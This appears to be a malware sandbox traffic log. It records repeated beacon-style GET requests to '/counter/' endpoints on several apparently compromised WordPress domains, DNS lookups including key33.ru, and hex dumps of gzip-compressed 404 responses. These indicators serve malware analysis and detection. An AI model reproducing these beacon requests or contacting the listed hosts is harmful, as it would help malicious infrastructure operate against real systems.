Source: global traffic	HTTP traffic detected: GET /counter/?ad=1GNktTwWR98eDEMovFNDqyUPsyEdCxKRzC&id=LWkA9pJQhl9uXU1kaDN-eSC-55GNxzVDsLXZhtXL8Pr1j1FTCf4XAYGxA0VCjCQra2XwotFrDHGSYxM&rnd=21 HTTP/1.1Accept: /Accept-Language: en-chUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: tamilandth.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /counter/?ad=1GNktTwWR98eDEMovFNDqyUPsyEdCxKRzC&id=LWkA9pJQhl9uXU1kaDN-eSC-55GNxzVDsLXZhtXL8Pr1j1FTCf4XAYGxA0VCjCQra2XwotFrDHGSYxM&rnd=31 HTTP/1.1Accept: /Accept-Language: en-chUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: telektrim.plConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /counter/?ad=1GNktTwWR98eDEMovFNDqyUPsyEdCxKRzC&id=LWkA9pJQhl9uXU1kaDN-eSC-55GNxzVDsLXZhtXL8Pr1j1FTCf4XAYGxA0VCjCQra2XwotFrDHGSYxM&rnd=12 HTTP/1.1Accept: /Accept-Language: en-chUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: arlettakubicka.plConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /counter/?ad=1GNktTwWR98eDEMovFNDqyUPsyEdCxKRzC&id=LWkA9pJQhl9uXU1kaDN-eSC-55GNxzVDsLXZhtXL8Pr1j1FTCf4XAYGxA0VCjCQra2XwotFrDHGSYxM&rnd=22 HTTP/1.1Accept: /Accept-Language: en-chUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: tamilandth.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /counter/?ad=1GNktTwWR98eDEMovFNDqyUPsyEdCxKRzC&id=LWkA9pJQhl9uXU1kaDN-eSC-55GNxzVDsLXZhtXL8Pr1j1FTCf4XAYGxA0VCjCQra2XwotFrDHGSYxM&rnd=32 HTTP/1.1Accept: /Accept-Language: en-chUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: telektrim.plConnection: Keep-AliveCookie: PHPSESSID=4c12adf4a82439c05f107533fdbc2453
Source: global traffic	HTTP traffic detected: GET /counter/?ad=1GNktTwWR98eDEMovFNDqyUPsyEdCxKRzC&id=LWkA9pJQhl9uXU1kaDN-eSC-55GNxzVDsLXZhtXL8Pr1j1FTCf4XAYGxA0VCjCQra2XwotFrDHGSYxM&rnd=13 HTTP/1.1Accept: /Accept-Language: en-chUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: arlettakubicka.plConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /counter/?ad=1GNktTwWR98eDEMovFNDqyUPsyEdCxKRzC&id=LWkA9pJQhl9uXU1kaDN-eSC-55GNxzVDsLXZhtXL8Pr1j1FTCf4XAYGxA0VCjCQra2XwotFrDHGSYxM&rnd=23 HTTP/1.1Accept: /Accept-Language: en-chUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: tamilandth.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /counter/?ad=1GNktTwWR98eDEMovFNDqyUPsyEdCxKRzC&id=LWkA9pJQhl9uXU1kaDN-eSC-55GNxzVDsLXZhtXL8Pr1j1FTCf4XAYGxA0VCjCQra2XwotFrDHGSYxM&rnd=33 HTTP/1.1Accept: /Accept-Language: en-chUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: telektrim.plConnection: Keep-AliveCookie: PHPSESSID=4c12adf4a82439c05f107533fdbc2453
Source: global traffic	HTTP traffic detected: GET /counter/?ad=1GNktTwWR98eDEMovFNDqyUPsyEdCxKRzC&id=LWkA9pJQhl9uXU1kaDN-eSC-55GNxzVDsLXZhtXL8Pr1j1FTCf4XAYGxA0VCjCQra2XwotFrDHGSYxM&rnd=14 HTTP/1.1Accept: /Accept-Language: en-chUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: arlettakubicka.plConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /counter/?ad=1GNktTwWR98eDEMovFNDqyUPsyEdCxKRzC&id=LWkA9pJQhl9uXU1kaDN-eSC-55GNxzVDsLXZhtXL8Pr1j1FTCf4XAYGxA0VCjCQra2XwotFrDHGSYxM&rnd=24 HTTP/1.1Accept: /Accept-Language: en-chUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: tamilandth.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /counter/?ad=1GNktTwWR98eDEMovFNDqyUPsyEdCxKRzC&id=LWkA9pJQhl9uXU1kaDN-eSC-55GNxzVDsLXZhtXL8Pr1j1FTCf4XAYGxA0VCjCQra2XwotFrDHGSYxM&rnd=34 HTTP/1.1Accept: /Accept-Language: en-chUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: telektrim.plConnection: Keep-AliveCookie: PHPSESSID=4c12adf4a82439c05f107533fdbc2453
Source: global traffic	HTTP traffic detected: GET /counter/?ad=1GNktTwWR98eDEMovFNDqyUPsyEdCxKRzC&id=LWkA9pJQhl9uXU1kaDN-eSC-55GNxzVDsLXZhtXL8Pr1j1FTCf4XAYGxA0VCjCQra2XwotFrDHGSYxM&rnd=15 HTTP/1.1Accept: /Accept-Language: en-chUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: arlettakubicka.plConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /counter/?ad=1GNktTwWR98eDEMovFNDqyUPsyEdCxKRzC&id=LWkA9pJQhl9uXU1kaDN-eSC-55GNxzVDsLXZhtXL8Pr1j1FTCf4XAYGxA0VCjCQra2XwotFrDHGSYxM&rnd=25 HTTP/1.1Accept: /Accept-Language: en-chUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: tamilandth.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /counter/?ad=1GNktTwWR98eDEMovFNDqyUPsyEdCxKRzC&id=LWkA9pJQhl9uXU1kaDN-eSC-55GNxzVDsLXZhtXL8Pr1j1FTCf4XAYGxA0VCjCQra2XwotFrDHGSYxM&rnd=35 HTTP/1.1Accept: /Accept-Language: en-chUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: telektrim.plConnection: Keep-AliveCookie: PHPSESSID=4c12adf4a82439c05f107533fdbc2453

Source: global traffic	DNS traffic detected: DNS query: shanghaizuoye.com
Source: global traffic	DNS traffic detected: DNS query: arlettakubicka.pl
Source: global traffic	DNS traffic detected: DNS query: tamilandth.com
Source: global traffic	DNS traffic detected: DNS query: www.tamilandth.com
Source: global traffic	DNS traffic detected: DNS query: telektrim.pl
Source: global traffic	DNS traffic detected: DNS query: key33.ru

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 20 Nov 2024 07:01:43 GMTContent-Type: text/html; charset=UTF-8Content-Length: 13620Connection: keep-aliveSet-Cookie: PHPSESSID=4c12adf4a82439c05f107533fdbc2453; path=/Expires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Pragma: no-cacheLink: <http://telektrim.pl/wp-json/>; rel="https://api.w.org/"Vary: Accept-EncodingContent-Encoding: gzipData Raw: 1f 8b 08 00 00 00 00 00 00 03 ed 7d db 92 e3 36 b2 e0 b3 3b 62 fe 01 a3 1e 4f 97 6c 92 ba ab aa 24 57 9f f1 b4 ed 33 3e f6 d8 1e bb 7d ec 19 b7 43 01 91 90 c4 2a 8a a4 49 aa 54 97 d5 c6 ee bc 9c d7 8d d8 a7 13 fb 19 27 62 9f e6 6d c7 3f b2 1f b0 df b0 99 00 48 82 24 a8 4b 5d ba 3c 11 c7 ed aa 22 81 44 66 22 01 24 32 71 49 7e f0 eb 8f be 7c f5 fa cf 5f 7d 4c 16 c9 d2 7b f9 ec 03 fc 43 3c ea cf cf 1a a1 67 7e f5 79 03 d3 18 75 5e 3e 7b e7 83 25 4b 28 b1 17 34 8a 59 72 d6 f8 f6 f5 27 e6 49 83 b4 00 80 67 2c 92 24 34 d9 4f 2b f7 f2 ac f1 bd f9 ed 87 e6 ab 60 19 d2 c4 9d 7a ac 41 ec c0 4f 98 0f a5 3e fd f8 8c 39 73 d6 40 7c 9e eb 5f 90 88 79 40 ca f5 e7 53 6a 5f 34 c8 22 62 b3 b3 06 e2 1a b5 5a 09 f3 d8 45 12 b9 4b 2b f4 5a 57 4b 2f 0a 6d 2b 5c 84 9c 28 94 8f ed c8 0d 13 92 5c 87 ec ac 91 b0 ab a4 75 4e 2f a9 48 45 02 ef 38 81 bd 5a 02 59 2b 7d f8 d8 63 fc dd f6 68 1c 7f 41 97 8c 9c 91 17 e7 f1 8b 31 60 6b 89 82 50 0e 5e 12 37 f1 d8 cb 2f 5c 46 6e 7c ea b1 1b 37 f0 03 d2 6f f7 c9 7f 21 af 53 a6 3e 68 09 a8 67 6a 45 22 06 55 f5 99 9d a8 55 89 a1 2e 33 90 40 6c cd e3 04 44 62 5b 76 b0 04 a1 44 41 1c 07 91 3b 77 7d a8 91 90 a2 0f 4c 9d bd 88 82 69 90 c4 2f 32 b1 bd 58 d2 2b d3 5d d2 39 33 81 c2 a5 cb d6 23 8f 46 73 f6 82 8b 7f a7 1c de f1 58 42 ce 7f 5a b1 e8 fa 2b 1a d1 65 7c f6 c3 8f c6 f9 9f f0 fd 6c b6 f2 ed 04 aa 77 14 35 6f 23 96 ac 22 bf 04 69 59 96 9a 60 44 69 d1 8d f1 9b 3b 95 fe cd 66 bc 76 7d 27 58 5b 92 05 f1 c7 90 89 bf 91 ef 63 64 da 5e c5 49 b0 fc 03 74 c0 6f 78 75 e2 b3 5f 77 c6 22 df 9a f9 12 d2 0a a3 20 09 78 f5 6f 81 a9 ba 0c 99 e6 07 af 02 7f e6 b9 76 52 e0 de 9d 1d 15 b8 6a a6 d5 11 3c 16 f2 a0 e2 c5 77 0d 9b ed 2a bd 8c 85 08 00 8b 92 df 25 34 ac d6 5d 4a 49 82 5e 40 9d 83 e9 dd a1 50 d6 32 77 ac e2 dd 0a 8e b3 b1 ab 8c 44 ea 25 2c f2 69 02 ca 47 0c 0c 1a 86 d0 08 14 b1 b6 a2 38 7e 1f f4 09 64 e1 08 3e 6b 64 63 9a fc 36 a2 3f ad 82 31 f9 8c fa f4 e7 bf 92 1b b2 0e dd 98 2e dd 6d 9a 69 c6 98 d3 12 9a f0 e1 e9 5f 04 a8 b1 68 74 b3 83 09 d0 28 08 18 ab dc 08 85 9d aa de 8f dc 4b 97 5c 5a 7d ab 73 62 b5 1b 42 d3 34 e6 cc 67 11 4d 82 a8 d1 52 a4 f7 22 4e ae 3d 16 2f 18 4b 5e 10 d7 81 f7 a9 3b 11 69 a6 1d 83 62 e2 7c bc d0 f1 b1 0e 4d 49 b1 15 7a 2b 50 6d 71 0b 7e 12 3a 87 d6 32 39 6f 80 a0 05 f8 4c 81 cf 5a ba be 05 49 ff 74 c9 a2 b3 a1 35 b4 3a 2f 84 c0 5e 70 4d c6 a9 2d 99 e3 d2 b3 17 d4 f3 5e 14 a5 5c Data Ascii: }6;bOl$W3>}C*IT'bm?H$K]<"Df"$2qI~\|_}L{C<g~yu^>{%K(4Yr'Ig,$
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 20 Nov 2024 07:01:44 GMTContent-Type: text/html; charset=UTF-8Content-Length: 13620Connection: keep-aliveExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Pragma: no-cacheLink: <http://telektrim.pl/wp-json/>; rel="https://api.w.org/"Vary: Accept-EncodingContent-Encoding: gzipData Raw: 1f 8b 08 00 00 00 00 00 00 03 ed 7d db 92 e3 36 b2 e0 b3 3b 62 fe 01 a3 1e 4f 97 6c 92 ba ab aa 24 57 9f f1 b4 ed 33 3e f6 d8 1e bb 7d ec 19 b7 43 01 91 90 c4 2a 8a a4 49 aa 54 97 d5 c6 ee bc 9c d7 8d d8 a7 13 fb 19 27 62 9f e6 6d c7 3f b2 1f b0 df b0 99 00 48 82 24 a8 4b 5d ba 3c 11 c7 ed aa 22 81 44 66 22 01 24 32 71 49 7e f0 eb 8f be 7c f5 fa cf 5f 7d 4c 16 c9 d2 7b f9 ec 03 fc 43 3c ea cf cf 1a a1 67 7e f5 79 03 d3 18 75 5e 3e 7b e7 83 25 4b 28 b1 17 34 8a 59 72 d6 f8 f6 f5 27 e6 49 83 b4 00 80 67 2c 92 24 34 d9 4f 2b f7 f2 ac f1 bd f9 ed 87 e6 ab 60 19 d2 c4 9d 7a ac 41 ec c0 4f 98 0f a5 3e fd f8 8c 39 73 d6 40 7c 9e eb 5f 90 88 79 40 ca f5 e7 53 6a 5f 34 c8 22 62 b3 b3 06 e2 1a b5 5a 09 f3 d8 45 12 b9 4b 2b f4 5a 57 4b 2f 0a 6d 2b 5c 84 9c 28 94 8f ed c8 0d 13 92 5c 87 ec ac 91 b0 ab a4 75 4e 2f a9 48 45 02 ef 38 81 bd 5a 02 59 2b 7d f8 d8 63 fc dd f6 68 1c 7f 41 97 8c 9c 91 17 e7 f1 8b 31 60 6b 89 82 50 0e 5e 12 37 f1 d8 cb 2f 5c 46 6e 7c ea b1 1b 37 f0 03 d2 6f f7 c9 7f 21 af 53 a6 3e 68 09 a8 67 6a 45 22 06 55 f5 99 9d a8 55 89 a1 2e 33 90 40 6c cd e3 04 44 62 5b 76 b0 04 a1 44 41 1c 07 91 3b 77 7d a8 91 90 a2 0f 4c 9d bd 88 82 69 90 c4 2f 32 b1 bd 58 d2 2b d3 5d d2 39 33 81 c2 a5 cb d6 23 8f 46 73 f6 82 8b 7f a7 1c de f1 58 42 ce 7f 5a b1 e8 fa 2b 1a d1 65 7c f6 c3 8f c6 f9 9f f0 fd 6c b6 f2 ed 04 aa 77 14 35 6f 23 96 ac 22 bf 04 69 59 96 9a 60 44 69 d1 8d f1 9b 3b 95 fe cd 66 bc 76 7d 27 58 5b 92 05 f1 c7 90 89 bf 91 ef 63 64 da 5e c5 49 b0 fc 03 74 c0 6f 78 75 e2 b3 5f 77 c6 22 df 9a f9 12 d2 0a a3 20 09 78 f5 6f 81 a9 ba 0c 99 e6 07 af 02 7f e6 b9 76 52 e0 de 9d 1d 15 b8 6a a6 d5 11 3c 16 f2 a0 e2 c5 77 0d 9b ed 2a bd 8c 85 08 00 8b 92 df 25 34 ac d6 5d 4a 49 82 5e 40 9d 83 e9 dd a1 50 d6 32 77 ac e2 dd 0a 8e b3 b1 ab 8c 44 ea 25 2c f2 69 02 ca 47 0c 0c 1a 86 d0 08 14 b1 b6 a2 38 7e 1f f4 09 64 e1 08 3e 6b 64 63 9a fc 36 a2 3f ad 82 31 f9 8c fa f4 e7 bf 92 1b b2 0e dd 98 2e dd 6d 9a 69 c6 98 d3 12 9a f0 e1 e9 5f 04 a8 b1 68 74 b3 83 09 d0 28 08 18 ab dc 08 85 9d aa de 8f dc 4b 97 5c 5a 7d ab 73 62 b5 1b 42 d3 34 e6 cc 67 11 4d 82 a8 d1 52 a4 f7 22 4e ae 3d 16 2f 18 4b 5e 10 d7 81 f7 a9 3b 11 69 a6 1d 83 62 e2 7c bc d0 f1 b1 0e 4d 49 b1 15 7a 2b 50 6d 71 0b 7e 12 3a 87 d6 32 39 6f 80 a0 05 f8 4c 81 cf 5a ba be 05 49 ff 74 c9 a2 b3 a1 35 b4 3a 2f 84 c0 5e 70 4d c6 a9 2d 99 e3 d2 b3 17 d4 f3 5e 14 a5 5c e1 13 a8 4f bd c0 be 30 3d 77 1a d1 e8 7a 0f 6e 5d df f6 56 0e 8b 39 5f 8e 1b 27 ad 02 86 16 27 51 e2 f2 78 37 8f bc 98 9e a7 64 01 b3 10 d0 85 6a 30 c1 60 09 d9 cb 67 56 56 88 ae 1c 37 20 a3 Data Ascii: }6;bOl$W3>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 20 Nov 2024 07:01:46 GMTContent-Type: text/html; charset=UTF-8Content-Length: 13620Connection: keep-aliveExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Pragma: no-cacheLink: <http://telektrim.pl/wp-json/>; rel="https://api.w.org/"Vary: Accept-EncodingContent-Encoding: gzipData Raw: 1f 8b 08 00 00 00 00 00 00 03 ed 7d db 92 e3 36 b2 e0 b3 3b 62 fe 01 a3 1e 4f 97 6c 92 ba ab aa 24 57 9f f1 b4 ed 33 3e f6 d8 1e bb 7d ec 19 b7 43 01 91 90 c4 2a 8a a4 49 aa 54 97 d5 c6 ee bc 9c d7 8d d8 a7 13 fb 19 27 62 9f e6 6d c7 3f b2 1f b0 df b0 99 00 48 82 24 a8 4b 5d ba 3c 11 c7 ed aa 22 81 44 66 22 01 24 32 71 49 7e f0 eb 8f be 7c f5 fa cf 5f 7d 4c 16 c9 d2 7b f9 ec 03 fc 43 3c ea cf cf 1a a1 67 7e f5 79 03 d3 18 75 5e 3e 7b e7 83 25 4b 28 b1 17 34 8a 59 72 d6 f8 f6 f5 27 e6 49 83 b4 00 80 67 2c 92 24 34 d9 4f 2b f7 f2 ac f1 bd f9 ed 87 e6 ab 60 19 d2 c4 9d 7a ac 41 ec c0 4f 98 0f a5 3e fd f8 8c 39 73 d6 40 7c 9e eb 5f 90 88 79 40 ca f5 e7 53 6a 5f 34 c8 22 62 b3 b3 06 e2 1a b5 5a 09 f3 d8 45 12 b9 4b 2b f4 5a 57 4b 2f 0a 6d 2b 5c 84 9c 28 94 8f ed c8 0d 13 92 5c 87 ec ac 91 b0 ab a4 75 4e 2f a9 48 45 02 ef 38 81 bd 5a 02 59 2b 7d f8 d8 63 fc dd f6 68 1c 7f 41 97 8c 9c 91 17 e7 f1 8b 31 60 6b 89 82 50 0e 5e 12 37 f1 d8 cb 2f 5c 46 6e 7c ea b1 1b 37 f0 03 d2 6f f7 c9 7f 21 af 53 a6 3e 68 09 a8 67 6a 45 22 06 55 f5 99 9d a8 55 89 a1 2e 33 90 40 6c cd e3 04 44 62 5b 76 b0 04 a1 44 41 1c 07 91 3b 77 7d a8 91 90 a2 0f 4c 9d bd 88 82 69 90 c4 2f 32 b1 bd 58 d2 2b d3 5d d2 39 33 81 c2 a5 cb d6 23 8f 46 73 f6 82 8b 7f a7 1c de f1 58 42 ce 7f 5a b1 e8 fa 2b 1a d1 65 7c f6 c3 8f c6 f9 9f f0 fd 6c b6 f2 ed 04 aa 77 14 35 6f 23 96 ac 22 bf 04 69 59 96 9a 60 44 69 d1 8d f1 9b 3b 95 fe cd 66 bc 76 7d 27 58 5b 92 05 f1 c7 90 89 bf 91 ef 63 64 da 5e c5 49 b0 fc 03 74 c0 6f 78 75 e2 b3 5f 77 c6 22 df 9a f9 12 d2 0a a3 20 09 78 f5 6f 81 a9 ba 0c 99 e6 07 af 02 7f e6 b9 76 52 e0 de 9d 1d 15 b8 6a a6 d5 11 3c 16 f2 a0 e2 c5 77 0d 9b ed 2a bd 8c 85 08 00 8b 92 df 25 34 ac d6 5d 4a 49 82 5e 40 9d 83 e9 dd a1 50 d6 32 77 ac e2 dd 0a 8e b3 b1 ab 8c 44 ea 25 2c f2 69 02 ca 47 0c 0c 1a 86 d0 08 14 b1 b6 a2 38 7e 1f f4 09 64 e1 08 3e 6b 64 63 9a fc 36 a2 3f ad 82 31 f9 8c fa f4 e7 bf 92 1b b2 0e dd 98 2e dd 6d 9a 69 c6 98 d3 12 9a f0 e1 e9 5f 04 a8 b1 68 74 b3 83 09 d0 28 08 18 ab dc 08 85 9d aa de 8f dc 4b 97 5c 5a 7d ab 73 62 b5 1b 42 d3 34 e6 cc 67 11 4d 82 a8 d1 52 a4 f7 22 4e ae 3d 16 2f 18 4b 5e 10 d7 81 f7 a9 3b 11 69 a6 1d 83 62 e2 7c bc d0 f1 b1 0e 4d 49 b1 15 7a 2b 50 6d 71 0b 7e 12 3a 87 d6 32 39 6f 80 a0 05 f8 4c 81 cf 5a ba be 05 49 ff 74 c9 a2 b3 a1 35 b4 3a 2f 84 c0 5e 70 4d c6 a9 2d 99 e3 d2 b3 17 d4 f3 5e 14 a5 5c e1 13 a8 4f bd c0 be 30 3d 77 1a d1 e8 7a 0f 6e 5d df f6 56 0e 8b 39 5f 8e 1b 27 ad 02 86 16 27 51 e2 f2 78 37 8f bc 98 9e a7 64 01 b3 10 d0 85 6a 30 c1 60 09 d9 cb 67 56 56 88 ae 1c 37 20 a3 Data Ascii: }6;bOl$W3>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 20 Nov 2024 07:01:47 GMTContent-Type: text/html; charset=UTF-8Content-Length: 13620Connection: keep-aliveExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Pragma: no-cacheLink: <http://telektrim.pl/wp-json/>; rel="https://api.w.org/"Vary: Accept-EncodingContent-Encoding: gzipData Raw: 1f 8b 08 00 00 00 00 00 00 03 ed 7d db 92 e3 36 b2 e0 b3 3b 62 fe 01 a3 1e 4f 97 6c 92 ba ab aa 24 57 9f f1 b4 ed 33 3e f6 d8 1e bb 7d ec 19 b7 43 01 91 90 c4 2a 8a a4 49 aa 54 97 d5 c6 ee bc 9c d7 8d d8 a7 13 fb 19 27 62 9f e6 6d c7 3f b2 1f b0 df b0 99 00 48 82 24 a8 4b 5d ba 3c 11 c7 ed aa 22 81 44 66 22 01 24 32 71 49 7e f0 eb 8f be 7c f5 fa cf 5f 7d 4c 16 c9 d2 7b f9 ec 03 fc 43 3c ea cf cf 1a a1 67 7e f5 79 03 d3 18 75 5e 3e 7b e7 83 25 4b 28 b1 17 34 8a 59 72 d6 f8 f6 f5 27 e6 49 83 b4 00 80 67 2c 92 24 34 d9 4f 2b f7 f2 ac f1 bd f9 ed 87 e6 ab 60 19 d2 c4 9d 7a ac 41 ec c0 4f 98 0f a5 3e fd f8 8c 39 73 d6 40 7c 9e eb 5f 90 88 79 40 ca f5 e7 53 6a 5f 34 c8 22 62 b3 b3 06 e2 1a b5 5a 09 f3 d8 45 12 b9 4b 2b f4 5a 57 4b 2f 0a 6d 2b 5c 84 9c 28 94 8f ed c8 0d 13 92 5c 87 ec ac 91 b0 ab a4 75 4e 2f a9 48 45 02 ef 38 81 bd 5a 02 59 2b 7d f8 d8 63 fc dd f6 68 1c 7f 41 97 8c 9c 91 17 e7 f1 8b 31 60 6b 89 82 50 0e 5e 12 37 f1 d8 cb 2f 5c 46 6e 7c ea b1 1b 37 f0 03 d2 6f f7 c9 7f 21 af 53 a6 3e 68 09 a8 67 6a 45 22 06 55 f5 99 9d a8 55 89 a1 2e 33 90 40 6c cd e3 04 44 62 5b 76 b0 04 a1 44 41 1c 07 91 3b 77 7d a8 91 90 a2 0f 4c 9d bd 88 82 69 90 c4 2f 32 b1 bd 58 d2 2b d3 5d d2 39 33 81 c2 a5 cb d6 23 8f 46 73 f6 82 8b 7f a7 1c de f1 58 42 ce 7f 5a b1 e8 fa 2b 1a d1 65 7c f6 c3 8f c6 f9 9f f0 fd 6c b6 f2 ed 04 aa 77 14 35 6f 23 96 ac 22 bf 04 69 59 96 9a 60 44 69 d1 8d f1 9b 3b 95 fe cd 66 bc 76 7d 27 58 5b 92 05 f1 c7 90 89 bf 91 ef 63 64 da 5e c5 49 b0 fc 03 74 c0 6f 78 75 e2 b3 5f 77 c6 22 df 9a f9 12 d2 0a a3 20 09 78 f5 6f 81 a9 ba 0c 99 e6 07 af 02 7f e6 b9 76 52 e0 de 9d 1d 15 b8 6a a6 d5 11 3c 16 f2 a0 e2 c5 77 0d 9b ed 2a bd 8c 85 08 00 8b 92 df 25 34 ac d6 5d 4a 49 82 5e 40 9d 83 e9 dd a1 50 d6 32 77 ac e2 dd 0a 8e b3 b1 ab 8c 44 ea 25 2c f2 69 02 ca 47 0c 0c 1a 86 d0 08 14 b1 b6 a2 38 7e 1f f4 09 64 e1 08 3e 6b 64 63 9a fc 36 a2 3f ad 82 31 f9 8c fa f4 e7 bf 92 1b b2 0e dd 98 2e dd 6d 9a 69 c6 98 d3 12 9a f0 e1 e9 5f 04 a8 b1 68 74 b3 83 09 d0 28 08 18 ab dc 08 85 9d aa de 8f dc 4b 97 5c 5a 7d ab 73 62 b5 1b 42 d3 34 e6 cc 67 11 4d 82 a8 d1 52 a4 f7 22 4e ae 3d 16 2f 18 4b 5e 10 d7 81 f7 a9 3b 11 69 a6 1d 83 62 e2 7c bc d0 f1 b1 0e 4d 49 b1 15 7a 2b 50 6d 71 0b 7e 12 3a 87 d6 32 39 6f 80 a0 05 f8 4c 81 cf 5a ba be 05 49 ff 74 c9 a2 b3 a1 35 b4 3a 2f 84 c0 5e 70 4d c6 a9 2d 99 e3 d2 b3 17 d4 f3 5e 14 a5 5c e1 13 a8 4f bd c0 be 30 3d 77 1a d1 e8 7a 0f 6e 5d df f6 56 0e 8b 39 5f 8e 1b 27 ad 02 86 16 27 51 e2 f2 78 37 8f bc 98 9e a7 64 01 b3 10 d0 85 6a 30 c1 60 09 d9 cb 67 56 56 88 ae 1c 37 20 a3 Data Ascii: }6;bOl$W3>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 20 Nov 2024 07:01:48 GMTContent-Type: text/html; charset=UTF-8Content-Length: 13620Connection: keep-aliveExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Pragma: no-cacheLink: <http://telektrim.pl/wp-json/>; rel="https://api.w.org/"Vary: Accept-EncodingContent-Encoding: gzipData Raw: 1f 8b 08 00 00 00 00 00 00 03 ed 7d db 92 e3 36 b2 e0 b3 3b 62 fe 01 a3 1e 4f 97 6c 92 ba ab aa 24 57 9f f1 b4 ed 33 3e f6 d8 1e bb 7d ec 19 b7 43 01 91 90 c4 2a 8a a4 49 aa 54 97 d5 c6 ee bc 9c d7 8d d8 a7 13 fb 19 27 62 9f e6 6d c7 3f b2 1f b0 df b0 99 00 48 82 24 a8 4b 5d ba 3c 11 c7 ed aa 22 81 44 66 22 01 24 32 71 49 7e f0 eb 8f be 7c f5 fa cf 5f 7d 4c 16 c9 d2 7b f9 ec 03 fc 43 3c ea cf cf 1a a1 67 7e f5 79 03 d3 18 75 5e 3e 7b e7 83 25 4b 28 b1 17 34 8a 59 72 d6 f8 f6 f5 27 e6 49 83 b4 00 80 67 2c 92 24 34 d9 4f 2b f7 f2 ac f1 bd f9 ed 87 e6 ab 60 19 d2 c4 9d 7a ac 41 ec c0 4f 98 0f a5 3e fd f8 8c 